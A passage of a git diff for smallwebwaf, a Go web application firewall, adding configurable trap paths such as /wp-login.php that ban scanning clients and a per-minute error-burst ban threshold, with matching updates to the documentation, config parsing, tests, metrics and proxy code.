rate limit or byte - limit that would be longer is permanent instead. + limit, byte limit or error burst. +- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): a rate limit, byte limit or + error burst broken again within this time after a ban ended, other than one + for a clear sign of attack or for CrowdSec's decision, bans for three times as + long as that ban. +- `SWWAF_MAX_BAN_DURATION` (default `7d`): a ban for a broken rate limit, byte + limit or error burst that would be longer is permanent instead. - `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of attack. - `SWWAF_MAX_BANS` (default `5000`): the most bans `smallwebwaf` made that are @@ -588,6 +621,18 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or rule files. A directory that does not exist stops the start. - `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file, and checks no request against one. +- `SWWAF_TRAP_PATHS` (default empty): paths the app never serves and only + scanners ask for, such as `/wp-login.php,/xmlrpc.php` in front of gitea; a + request for one bans its client for a clear sign of attack, as a `ban` rule + does, with or without rule files (see "What it does so far" above). A path + that does not start with `/`, or holds a `?`, which no path a `path` rule sees + holds, stops the start. +- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most requests of a client in + a minute that `smallwebwaf` may refuse after a rule file match or a trap path, + or for a missing or wrong token; one more breaks the error burst, and bans the + client as a broken rate limit does (see "What it does so far" above). A client + trying one probe or token after another is refused many times a minute, a + person rarely more than a few times. `off` switches it off. - `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that every line on stdout is also sent to, as `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port, such as `syslog+tls://logs.example:6514`. Unset or @@ -671,18 +716,19 @@ effective settings are logged at start, unless `SWWAF_LOG_LEVEL` is `warn` or Durations are in Go's syntax, with `d` for days (`90s`, `15m`, `7d`). Sizes are bytes, with an optional `K`, `M` or `G`, which are powers of 1024 (`1K` is 1024 -bytes). Rate limits and the anomaly thresholds on requests are whole numbers of -requests, and byte limits and the anomaly thresholds on bytes are sizes. -Netblocks are in CIDR form, and a bare address stands for itself alone. -Countries are the two-letter codes ISO 3166-1 assigns today, and `xk` for -Kosovo, in either case (`de` and `DE` are the same); any other code, such as -`nk` (North Korea is `kp`) or the withdrawn `su`, stops the start, and so does a -code on both country lists. AS numbers are `AS` and the number, in either case. -Percentages are whole numbers from 0 to 100, and an entry of a list of them is -an AS number or a country, `:` and a percentage; an AS number or a country -listed twice in one of them stops the start. `off` switches a timeout, a size -limit, a rate limit, a byte limit, an anomaly threshold, `SWWAF_ALERT_COOLDOWN` -or `SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_IPV6_GROUP_PREFIX`, +bytes). Rate limits, `SWWAF_ERROR_BURST_THRESHOLD` and the anomaly thresholds on +requests are whole numbers of requests, and byte limits and the anomaly +thresholds on bytes are sizes. Netblocks are in CIDR form, and a bare address +stands for itself alone. Countries are the two-letter codes ISO 3166-1 assigns +today, and `xk` for Kosovo, in either case (`de` and `DE` are the same); any +other code, such as `nk` (North Korea is `kp`) or the withdrawn `su`, stops the +start, and so does a code on both country lists. AS numbers are `AS` and the +number, in either case. Percentages are whole numbers from 0 to 100, and an +entry of a list of them is an AS number or a country, `:` and a percentage; an +AS number or a country listed twice in one of them stops the start. `off` +switches a timeout, a size limit, a rate limit, a byte limit, an anomaly +threshold, `SWWAF_ERROR_BURST_THRESHOLD`, `SWWAF_ALERT_COOLDOWN` or +`SWWAF_ALERT_MAX_PER_HOUR` off; `SWWAF_IPV6_GROUP_PREFIX`, `SWWAF_MAX_TRACKED_CLIENTS`, `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES`, `SWWAF_LOOKUP_TIMEOUT`, `SWWAF_UNKNOWN_LIMIT_PERCENT`, `SWWAF_BLOCKLIST_REFRESH`, `SWWAF_ABUSEIPDB_MIN_SCORE`, @@ -781,20 +827,20 @@ which every line has. refused because its client is in `SWWAF_DENY_NETS`, in a blocklist while `SWWAF_BLOCKLIST_ACTION` is `deny`, or listed by a DNSBL zone or AbuseIPDB while `SWWAF_REPUTATION_ACTION` is `deny`, `banned` for one refused because a - ban covers its client, or because it matched a `ban` rule or the CrowdSec - decision list lists its client, either of which bans its client, - `country_denied` for one refused for its client's country, `rate_limited` for - one that broke a rate limit and banned its client, `rule_blocked` for one a - `block` rule refused, `too_large` for a request or response over its size - limit, `timed_out` for one that ran out of time, `upstream_error` when the app - could not be reached or its answer broke off, and `admin` for one - `smallwebwaf` answered at its own endpoint. + ban covers its client, or because it matched a `ban` rule, asked for a trap + path or the CrowdSec decision list lists its client, each of which bans its + client, `country_denied` for one refused for its client's country, + `rate_limited` for one that broke a rate limit and banned its client, + `rule_blocked` for one a `block` rule refused, `too_large` for a request or + response over its size limit, `timed_out` for one that ran out of time, + `upstream_error` when the app could not be reached or its answer broke off, + and `admin` for one `smallwebwaf` answered at its own endpoint. - `would_action` is there in `observe` mode for a request that `SWWAF_DENY_NETS`, a ban, the country lists, a blocklist, the CrowdSec - decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit or a - rule would have refused in `enforce` mode, and names the action that refusal - would have had: `denied`, `banned`, `country_denied`, `rate_limited` or - `rule_blocked`. `action` then names what was done: `forward` for a request + decision list, a DNSBL zone's verdict, AbuseIPDB's score, a rate limit, a trap + path or a rule would have refused in `enforce` mode, and names the action that + refusal would have had: `denied`, `banned`, `country_denied`, `rate_limited` + or `rule_blocked`. `action` then names what was done: `forward` for a request passed to the app, and another action, such as `too_large`, for one a size or time limit refused. - `limit_percent` is there for a request the rate limits count whose client a @@ -822,13 +868,15 @@ which every line has. counted before it. - `rule_ids` is there for a request that matched rules of the rule files, and lists their ids in the order they matched, up to the one that refused it. -- `limit_hit` is there for a request that broke a rate limit, or whose bytes - broke a byte limit, and names the window whose limit it went over as `counts` - names it: `minute`, `hour` or `day` for a rate limit, and `minute_bytes`, - `hour_bytes` or `day_bytes` for a byte limit, the shortest if it went over - several. `offence` is then `limit`. A request whose bytes broke a byte limit - is not refused: its `action` is what it would have been otherwise, such as - `forward`. +- `limit_hit` is there for a request that broke a rate limit or the error burst, + or whose bytes broke a byte limit, and names the window whose limit it went + over as `counts` names it: `minute`, `hour` or `day` for a rate limit, and + `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit, the shortest if + it went over several; or `error_burst` for the error burst. `offence` is then + `limit`. A request whose bytes broke a byte limit is not refused: its `action` + is what it would have been otherwise, such as `forward`. Nor is one that broke + the error burst refused for that: its `action` is that of the refusal counted, + such as `rule_blocked` or `admin`. - `reputation` is there for a request whose client a blocklist, the CrowdSec decision list or a DNSBL zone's verdict lists, or whose AbuseIPDB score is a hit, and gives the URLs of the blocklists that list it, in the order @@ -1101,33 +1149,42 @@ which are listed by scope first, and the copies of the lists, listed by URL, with times in UTC. - `bans.json`: every ban with its notes, indented to be read. A permanent ban's - `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit or - byte limit, `attack` for a clear sign of attack or `crowdsec` for a client the - CrowdSec decision list lists, for a ban `smallwebwaf` made, and `admin` for - one you made or keep. Its `reason` is a short text: for a ban `smallwebwaf` - made, the limit broken, such as `requests per minute over the limit of 1000` - or `bytes per hour over the limit of 21474836480`, the rule that matched, such - as `matched the rule env-file`, or the scenario that made CrowdSec's decision, - such as `CrowdSec's decision for crowdsecurity/ssh-bf`; for yours, what you - wrote. Its `lifted` is when you lifted it, and is left out until you do. The - `kind` in the notes of a ban for a broken limit is `requests` or `bytes`, what - the limit is on. For a limit a biased threshold lowered, the reason and the - notes' `limit` give the lowered limit, and the notes' `limit_percent` and - `limit_percent_setting` the client's percentage of that kind of limit and the - setting that gave it. The notes' `reputation` gives each blocklist, the - CrowdSec decision list, each DNSBL zone or AbuseIPDB that listed the client - when the ban was made, as its `source`, named and ordered as in the request - log's `reputation`, with AbuseIPDB's `score` of the client. It is left out - when none did, and the example below shows it. + `expires` is `null`. A ban's `cause` is `limit` for a broken rate limit, byte + limit or error burst, `attack` for a clear sign of attack or `crowdsec` for a + client the CrowdSec decision list lists, for a ban `smallwebwaf` made, and + `admin` for one you made or keep. Its `reason` is a short text: for a ban + `smallwebwaf` made, the limit broken, such as + `requests per minute over the limit of 1000`, + `bytes per hour over the limit of 21474836480` or + `refusals per minute over the limit of 30`, the rule that matched, such as + `matched the rule env-file`, the trap path asked for, such as + `asked for the trap path /wp-login.php`, or the scenario that made CrowdSec's + decision, such as `CrowdSec's decision for crowdsecurity/ssh-bf`; for yours, + what you wrote. Its `lifted` is when you lifted it, and is left out until you + do. The `kind` in the notes of a ban for a broken limit is `requests`, `bytes` + or `refusals`, for the error burst, what the limit is on. The notes of a ban + for a clear sign of attack give the `rule_id` and the `target` of the rule + that matched, or the `trap_path` asked for. For a limit a biased threshold + lowered, the reason and the notes' `limit` give the lowered limit, and the + notes' `limit_percent` and `limit_percent_setting` the client's percentage of + that kind of limit and the setting that gave it. The notes' `reputation` gives + each blocklist, the CrowdSec decision list, each DNSBL zone or AbuseIPDB that + listed the client when the ban was made, as its `source`, named and ordered as + in the request log's `reputation`, with AbuseIPDB's `score` of the client. It + is left out when none did, and the example below shows it. - `clients.json`: each client's two buckets of requests in the minute, the hour and the day, its two buckets of bytes in each, `minute_bytes`, `hour_bytes` - and `day_bytes`, and its history: when it was first and last seen, its AS - number, AS name and country as last looked up and when the lookup gave them, - its requests, how many were forwarded and how many refused (one `smallwebwaf` - answered at its own endpoints is neither, unless it was refused with `401` for - a missing or wrong token), the body bytes in each direction, its responses by - status class and its offences by kind. Each client is on a line of its own, so - `grep` shows everything about one. + and `day_bytes`, its two buckets of refusals in the minute, which the error + burst counts, `minute_refusals`, and its history: when it was first and last + seen, its AS number, AS name and country as last looked up and when the lookup + gave them, its requests, how many were forwarded and how many refused (one + `smallwebwaf` answered at its own endpoints is neither, unless it was refused + with `401` for a missing or wrong token), the body bytes in each direction, + its responses by status class and its offences by kind: `limit` for a broken + rate limit, byte limit or error burst, `attack` for a clear sign of attack, + `rule_blocked` for a request a `block` rule refused and `token_refused` for + one refused for a missing or wrong token. Each client is on a line of its own, + so `grep` shows everything about one. - `lookups.json`: GeoJS's answers, one to a line, each with the client's AS number, AS name and country, when GeoJS gave it and when it was last used. - `reputation.json`: each list fetched from a URL (see "Blocklists" and @@ -1243,19 +1300,19 @@ and the line and column where Go's JSON decoder gives them; so does a state directory `smallwebwaf` cannot write. So does an entry without a field it needs, named with the entry's place in the file: a ban's `netblock`, `start` or `expires`, which is `null` for a permanent ban; a client's `client`, or the -`start` of a window in which it has requests or bytes; an answer's `client`, -`country`, which is `""` for a client GeoJS cannot place, or `answered`; a -cooldown's `event` or `sent`; an alert waiting's `event` or `time`; an anomaly -counter's `netblock`, unless it counts an AS number or the whole service, its -`asn`, for an AS number, its `name`, for a named netblock, or the `start` of a -window in which it has requests or bytes; a list's `url`, `fetched` or `lines`, -which is `[]` for an empty list; a verdict's `zone`, `client`, `listed`, which -is `false` for a client the zone does not list, or `fetched`. So does a ban -whose `cause` is not `limit`, `attack`, `admin` or `crowdsec`, alerts waiting -for a destination that is not `webhook`, `slack` or `ntfy`, an anomaly counter -whose `scope` is not `client`, `net`, `asn`, `total` or `watch`, and a copy of a -list with a line that would make its fetch fail. An answer's `asn` or `as_name` -left out reads as empty. +`start` of a window in which it has requests, bytes or refusals; an answer's +`client`, `country`, which is `""` for a client GeoJS cannot place, or +`answered`; a cooldown's `event` or `sent`; an alert waiting's `event` or +`time`; an anomaly counter's `netblock`, unless it counts an AS number or the +whole service, its `asn`, for an AS number, its `name`, for a named netblock, or +the `start` of a window in which it has requests or bytes; a list's `url`, +`fetched` or `lines`, which is `[]` for an empty list; a verdict's `zone`, +`client`, `listed`, which is `false` for a client the zone does not list, or +`fetched`. So does a ban whose `cause` is not `limit`, `attack`, `admin` or +`crowdsec`, alerts waiting for a destination that is not `webhook`, `slack` or +`ntfy`, an anomaly counter whose `scope` is not `client`, `net`, `asn`, `total` +or `watch`, and a copy of a list with a line that would make its fetch fail. An +answer's `asn` or `as_name` left out reads as empty. While it runs, `smallwebwaf` watches `SWWAF_STATE_DIR` and takes in your edit of a state file as soon as you save it: what the file then holds replaces what @@ -1406,9 +1463,11 @@ scraped, and keeps this one as `exported_instance` unless the scrape sets from then on, as histograms; `smallwebwaf_requests_in_flight`: the requests under way. - `smallwebwaf_rate_limit_hits_total` by `window`, `minute`, `hour` or `day`, - and `kind`, `requests` for a rate limit or `bytes` for a byte limit, + and `kind`, `requests` for a rate limit, `bytes` for a byte limit or + `refusals` for the error burst, whose window is `minute`, `smallwebwaf_size_and_time_limit_hits_total` by `limit`, the setting whose - limit was passed, `smallwebwaf_offences_total` by `kind`, and + limit was passed, `smallwebwaf_offences_total` by `kind`, `limit`, `attack`, + `rule_blocked` or `token_refused`, as `clients.json` counts them, and `smallwebwaf_bans_made_total` by `cause`, `limit`, `attack`, `admin` or `crowdsec`, `admin` for the bans you add through `POST /_smallwebwaf/bans`, and those whose `cause` is `admin` that you add to `bans.json` while @@ -1521,7 +1580,8 @@ or lift is written to `bans.json` `SWWAF_STATE_WRITE_DELAY` later. Refusals, and the answers to requests that cannot be read, are plain text. A request without the token, or with another, such as the metrics token, is -answered `401`, in `observe` mode too. While the token is unset, each of these +answered `401`, in `observe` mode too, and counts toward the error burst, as one +for the metrics without theirs does. While the token is unset, each of these answers `404`, as does any request under `/_smallwebwaf/` that is not for one of its endpoints. Like the metrics, these requests go through every check any other request goes through, and are answered where another would be passed to the app: @@ -1679,13 +1739,14 @@ For each request `smallwebwaf`: - picks the client's limit percentage from those; - checks the minute, hour and day request counters against the limits, and bans the client if it breaks one; -- checks the request against the rule files and the Core Rule Set, and bans the - client at once for a clear sign of attack; +- checks the request against the trap paths, the rule files and the Core Rule + Set, and bans the client at once for a clear sign of attack; - forwards it to the app and streams the response back, within the size and time limits; -- counts the bytes and any refusal by the rule files or the Core Rule Set, bans - the client if it broke a limit, updates its history and the anomaly counters, - sends any alerts that are due, and writes the log line. +- counts the bytes and any refusal by the trap paths, the rule files or the Core + Rule Set or for a missing or wrong token, bans the client if it broke a limit, + updates its history and the anomaly counters, sends any alerts that are due, + and writes the log line. A minimal deployment is the app's own Dockerfile, built on the `smallwebwaf` image, with no setting. That image is built on Ubuntu 26.04 LTS, the newest @@ -2054,14 +2115,16 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with request is refused before anything reaches the app: for `SWWAF_DENY_NETS`, for a ban, for the country lists, for a blocklist, for the CrowdSec decision list, which bans the client, for a DNSBL zone's verdict, for AbuseIPDB's score, for - a rate limit, which bans the client, for a `block` or `ban` rule, the latter - banning the client, and for an announced body over the size limit; in - `observe` mode, only for the size limit, with what it would have refused for - noted in the log line. A request under `/_smallwebwaf/` that `check` lets - through is answered by `answerAdmin` instead of reaching the app. Once the - answer to a request passed to the app has ended, `countBytes` counts its bytes - for the byte limits, and once any request but the health check has ended, - `countAnomalies` counts it for the anomaly thresholds. + a rate limit, which bans the client, for a trap path, which bans the client, + for a `block` or `ban` rule, the latter banning the client, and for an + announced body over the size limit; in `observe` mode, only for the size + limit, with what it would have refused for noted in the log line. A request + under `/_smallwebwaf/` that `check` lets through is answered by `answerAdmin` + instead of reaching the app. Once the answer to a request passed to the app + has ended, `countBytes` counts its bytes for the byte limits, and once any + request but the health check has ended, `countRefusal` counts it for the error + burst if it was refused after a rule file match or a trap path or for its + token, and `countAnomalies` counts it for the anomaly thresholds. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -2083,9 +2146,9 @@ alerts, the metrics nor `reputation.json` hold it. Given as a file, with tells which zones' verdicts list an address; and checks clients with AbuseIPDB in the background, keeps their scores and the checks spent today, and tells whether a client's score is a hit. -- `internal/ratelimit`: the table of clients: counts each client's requests and - bytes, tells when they take it over a rate limit or a byte limit, and keeps - each client's history. +- `internal/ratelimit`: the table of clients: counts each client's requests, + bytes and refusals, tells when they take it over a rate limit, a byte limit or + the error burst, and keeps each client's history. - `internal/anomaly`: the anomaly counters: counts each request and its bytes per client, per netblock around a client, per AS number, for the whole service and per named netblock, in the buckets `internal/ratelimit` counts in, and diff --git a/internal/bans/bans.go b/internal/bans/bans.go index 38e335f..e67ea08 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -1,6 +1,7 @@ // Package bans is the ban ledger: the bans smallwebwaf makes on the -// netblocks of clients that break a rate limit or a byte limit, show a -// clear sign of attack or are listed by the CrowdSec decision list, and +// netblocks of clients that break a rate limit, a byte limit or the error +// burst, show a clear sign of attack or are listed by the CrowdSec +// decision list, and // those an admin makes, with their notes, as the "Bans" section of SPEC.md // describes. The bans are kept in memory, and written to bans.json and // read from it by the state package. @@ -103,10 +104,11 @@ type Notes struct { ASName string `json:"as_name"` Country string `json:"country"` // Kind, Limit, Window and Count are, for a ban for a broken limit, - // what the limit was on, "requests" for a rate limit or "bytes" for a - // byte limit, the limit that was broken, its window, "minute", "hour" - // or "day", and the count reached: the client's requests, or bytes, in - // the window, those of the request that broke the limit included. + // what the limit was on, "requests" for a rate limit, "bytes" for a + // byte limit or "refusals" for the error burst, the limit that was + // broken, its window, "minute", "hour" or "day", and the count reached: + // the client's requests, bytes or refusals in the window, those of the + // request that broke the limit included. // These are what counted toward the ban, and the window is the time // over which they came. Kind string `json:"kind,omitempty"` @@ -120,9 +122,11 @@ type Notes struct { LimitPercent *int64 `json:"limit_percent,omitempty"` LimitPercentSetting string `json:"limit_percent_setting,omitempty"` // RuleID and Target are, for a ban for a clear sign of attack, the id - // of the rule file rule that matched, and its target. - RuleID string `json:"rule_id,omitempty"` - Target string `json:"target,omitempty"` + // of the rule file rule that matched, and its target; TrapPath is, for + // one for a request for a path in SWWAF_TRAP_PATHS, that path. + RuleID string `json:"rule_id,omitempty"` + Target string `json:"target,omitempty"` + TrapPath string `json:"trap_path,omitempty"` // Reputation is the reputation sources that listed the client when // the request that caused the ban was made, in the order the request // log's reputation names them. It is left out when none did. @@ -311,7 +315,7 @@ func (l *Ledger) WouldBanForLimit( // notes, and returns the ban, and whether it made it, as BanForLimit // does. A first ban lasts AttackBanDuration; once the netblock has had // one that was not lifted, the next is permanent. Its reason is "matched -// the rule ". +// the rule ", or "asked for the trap path ". func (l *Ledger) BanForAttack( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { @@ -382,6 +386,10 @@ func limitReason(notes Notes) string { // attackReason is the reason of a ban for a clear sign of attack, with // notes. func attackReason(notes Notes) string { + if notes.TrapPath != "" { + return "asked for the trap path " + notes.TrapPath + } + return "matched the rule " + notes.RuleID } diff --git a/internal/config/config.go b/internal/config/config.go index 2de8f4d..5ed7c92 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -239,6 +239,14 @@ type Config struct { // unless RulesEnabled is false (SWWAF_RULES_ENABLED). RulesDir string RulesEnabled bool + // TrapPaths are the paths a request for which is a clear sign of + // attack (SWWAF_TRAP_PATHS), each starting with / and without a ?. + TrapPaths []string + // ErrorBurstThreshold is the most requests of a client within a minute + // that smallwebwaf may refuse after a rule file match or for a missing + // or wrong token; one more breaks a limit + // (SWWAF_ERROR_BURST_THRESHOLD). 0 is off. + ErrorBurstThreshold int64 // LogRemoteURL is where every line on stdout is also sent // (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent. // LogRemoteTLSCAs are the certificates a syslog+tls endpoint's @@ -378,6 +386,8 @@ var ( errNotBytesCount = errors.New("is not response, request or both") errNotPathPrefix = errors.New( "is not a path prefix starting with /, such as /assets/") + errNotTrapPath = errors.New( + "is not a path starting with / and without a ?, such as /wp-login.php") errNotBoolean = errors.New("is not true or false") errNotLogRemoteURL = errors.New( "is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " + @@ -505,6 +515,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"), RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"), RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"), + TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"), + ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"), LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"), LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"), LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"), @@ -744,6 +756,15 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string { return prefixes } +// trapPaths reads the setting that is the list of trap paths. It is empty +// by default. +func (e *environment) trapPaths(name string) []string { + paths, err := parseTrapPaths(e.value(name, "")) + e.check(name, err) + + return paths +} + // countries reads a setting that is a list of countries. func (e *environment) countries(name, defaultValue string) []string { countries, err := parseCountries(e.value(name, defaultValue)) @@ -1536,6 +1557,24 @@ func parsePathPrefixes(value string) ([]string, error) { return prefixes, nil } +// parseTrapPaths reads a comma-separated list of trap paths. Each is +// matched against a request's path as a path rule is, without the query, +// so a path that does not start with / or holds a ? would never match. +func parseTrapPaths(value string) ([]string, error) { + paths, err := parseList(value) + if err != nil { + return nil, err + } + + for _, path := range paths { + if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") { + return nil, fmt.Errorf("%q %w", path, errNotTrapPath) + } + } + + return paths, nil +} + // countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK, // the code in common use for Kosovo. golang.org/x/text/language cannot // check them: it also takes withdrawn codes such as su, and reserved ones diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 7cc528e..aa0c185 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -91,6 +91,8 @@ const ( logLevel = "SWWAF_LOG_LEVEL" rulesDir = "SWWAF_RULES_DIR" rulesEnabled = "SWWAF_RULES_ENABLED" + trapPaths = "SWWAF_TRAP_PATHS" + errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD" logRemoteURL = "SWWAF_LOG_REMOTE_URL" logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE" logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER" @@ -495,6 +497,62 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) { } } +func TestTrapPathsAndErrorBurstThreshold(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + env environment + paths []string + threshold int64 + }{ + {environment{}, []string{}, 30}, + { + environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"}, + []string{"/wp-login.php", "/xmlrpc.php"}, 5, + }, + {environment{errorBurstThreshold: off}, []string{}, 0}, + } { + cfg := fromEnvironment(t, tc.env) + if !slices.Equal(cfg.TrapPaths, tc.paths) || + cfg.ErrorBurstThreshold != tc.threshold { + t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths, + cfg.ErrorBurstThreshold, tc.paths, tc.threshold) + } + } +} + +func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) { + t.Parallel() + + const notTrapPath = " is not a path starting with / and without a ?, " + + "such as /wp-login.php" + + for _, tc := range []struct{ name, value, want string }{ + {trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath}, + {trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath}, + { + trapPaths, "/wp-login.php,,/xmlrpc.php", + `"/wp-login.php,,/xmlrpc.php" has an empty item in its list`, + }, + {errorBurstThreshold, "0", `"0" must be more than zero, or off`}, + { + errorBurstThreshold, "30/min", + `"30/min" is not a whole number of requests such as 1000, or off`, + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } +} + func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { t.Parallel() @@ -2233,6 +2291,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { logLevel: "info", rulesDir: "/etc/smallwebwaf/rules.d", rulesEnabled: "true", + trapPaths: "", + errorBurstThreshold: "30", logRemoteURL: "", logRemoteTLSCAFile: "", logRemoteBuffer: "10000", diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index da6c835..fab2b15 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -6,7 +6,6 @@ package metrics import ( "net/http" "strconv" - "strings" "time" "github.com/prometheus/client_golang/prometheus" @@ -94,8 +93,8 @@ func New(topN int, instanceName string) *Metrics { Help: "How long requests passed to the app took, from then to their end.", }), rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total", - "Requests that broke a rate limit or a byte limit, by its window and "+ - "its kind, requests or bytes.", + "Requests that broke a rate limit, a byte limit or the error burst, by "+ + "its window and its kind, requests, bytes or refusals.", []string{"window", "kind"}), sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total", "Requests that passed a size or time limit, by its setting.", @@ -407,26 +406,10 @@ func (m *Metrics) RequestEnded( m.upstreamDuration.Observe(upstreamDuration.Seconds()) } - if line.LimitHit != "" { - // The log line names a byte limit's window with _bytes after it. - window, isBytes := strings.CutSuffix(line.LimitHit, "_bytes") - - kind := ratelimit.KindRequests - if isBytes { - kind = ratelimit.KindBytes - } - - m.rateLimitHits.WithLabelValues(window, kind).Inc() - } - if limit != "" { m.sizeAndTimeLimitHits.WithLabelValues(limit).Inc() } - if line.Offence != "" { - m.offences.WithLabelValues(line.Offence).Inc() - } - if line.Country != "" { m.countries.add(line.Country, line) } @@ -436,6 +419,28 @@ func (m *Metrics) RequestEnded( } } +// LimitHit counts a request that broke a rate limit, a byte limit or the +// error burst, by the window and the kind of hit. +func (m *Metrics) LimitHit(hit ratelimit.Hit) { + m.rateLimitHits.WithLabelValues(hit.Window, hit.Kind).Inc() +} + +// Offences counts the offences of r, a request that has ended, as its +// client's history counts them, by kind, named as clients.json names +// them. +func (m *Metrics) Offences(r ratelimit.Request) { + for kind, committed := range map[string]bool{ + "limit": r.BrokeLimit, + "attack": r.Attack, + "rule_blocked": r.RuleBlocked, + "token_refused": r.TokenRefused, + } { + if committed { + m.offences.WithLabelValues(kind).Inc() + } + } +} + // RuleMatched counts a request that matched the rule id, whose action is // action. func (m *Metrics) RuleMatched(id, action string) { diff --git a/internal/proxy/admin.go b/internal/proxy/admin.go index 5db184d..cbf86d6 100644 --- a/internal/proxy/admin.go +++ b/internal/proxy/admin.go @@ -45,8 +45,9 @@ var ( // /_smallwebwaf/, once it has passed the checks. Each endpoint needs a // token, sent as Authorization: Bearer : the metrics // SWWAF_METRICS_TOKEN, the others SWWAF_ADMIN_TOKEN. A request without -// it is refused with 401. An endpoint whose token is unset answers 404, -// as any other request under /_smallwebwaf/ does. +// it is refused with 401, which counts toward the error burst. An +// endpoint whose token is unset answers 404, as any other request under +// /_smallwebwaf/ does. func (rq *request) answerAdmin() { rq.line.Action = requestlog.ActionAdmin rq.startClientResponseTimeout() @@ -57,6 +58,7 @@ func (rq *request) answerAdmin() { case token == "": http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound) case !hasToken(rq.in, token): + rq.tokenRefused = true rq.out.Header().Set("WWW-Authenticate", "Bearer") rq.answer(refusal{ status: http.StatusUnauthorized, diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index 4a6dc1e..db50c3f 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -1,6 +1,7 @@ package proxy import ( + "net/http" "net/netip" "time" @@ -9,7 +10,6 @@ import ( "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/requestlog" - "sneak.berlin/go/smallwebwaf/internal/rules" ) // banResponse is a refusal answered with SWWAF_BAN_RESPONSE, and logged @@ -83,6 +83,48 @@ func (rq *request) countBytes() { } } +// countRefusal counts the request for the error burst once it has been +// answered, if smallwebwaf refused it after a rule file match or a trap +// path, or for a missing or wrong token, and in observe mode if enforce +// mode would have: more than SWWAF_ERROR_BURST_THRESHOLD such refusals of +// the client within a minute break a limit. A client in SWWAF_ALLOW_NETS, +// which the checks skip, is not counted, and nothing is while the +// threshold is off. +func (rq *request) countRefusal() { + cfg := rq.h.config + if cfg.ErrorBurstThreshold == 0 { + return + } + + // In observe mode, a request that enforce mode would have refused + // before it reached the endpoint has had no token refused there. + tokenRefused := rq.tokenRefused && rq.line.WouldAction == "" && + !isInside(rq.client, cfg.AllowNets) + if !rq.attack && !rq.ruleBlocked && !tokenRefused { + return + } + + now := rq.h.now() + + hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now, + cfg.ErrorBurstThreshold) + if !over { + return + } + + // What the client was sent, or in observe mode would have been. + status := rq.out.status + + switch rq.line.WouldAction { + case requestlog.ActionRuleBlocked: + status = http.StatusForbidden + case requestlog.ActionBanned: + status = cfg.BanResponse + } + + rq.banForLimit(now, hit, status) +} + // countedBytes returns the request's bytes, once it has ended, as the // byte limits and the anomaly thresholds count them: the response's body // bytes, the request's, or both, as SWWAF_BYTES_COUNT says. For an @@ -107,20 +149,27 @@ func (rq *request) countedBytes() int64 { } // banForLimit bans the client's netblock at now for a broken limit, the -// one hit names, and notes the offence for the log line. status is what -// the client was sent, or is sent: SWWAF_BAN_RESPONSE for a request over -// a rate limit, the app's answer for one whose bytes broke a byte limit. -// The ban's notes give the client's limit percentage for that kind of -// limit. The ban sets the client's counters back to zero. In observe mode -// it makes no ban and sets nothing back, and raises the alert for 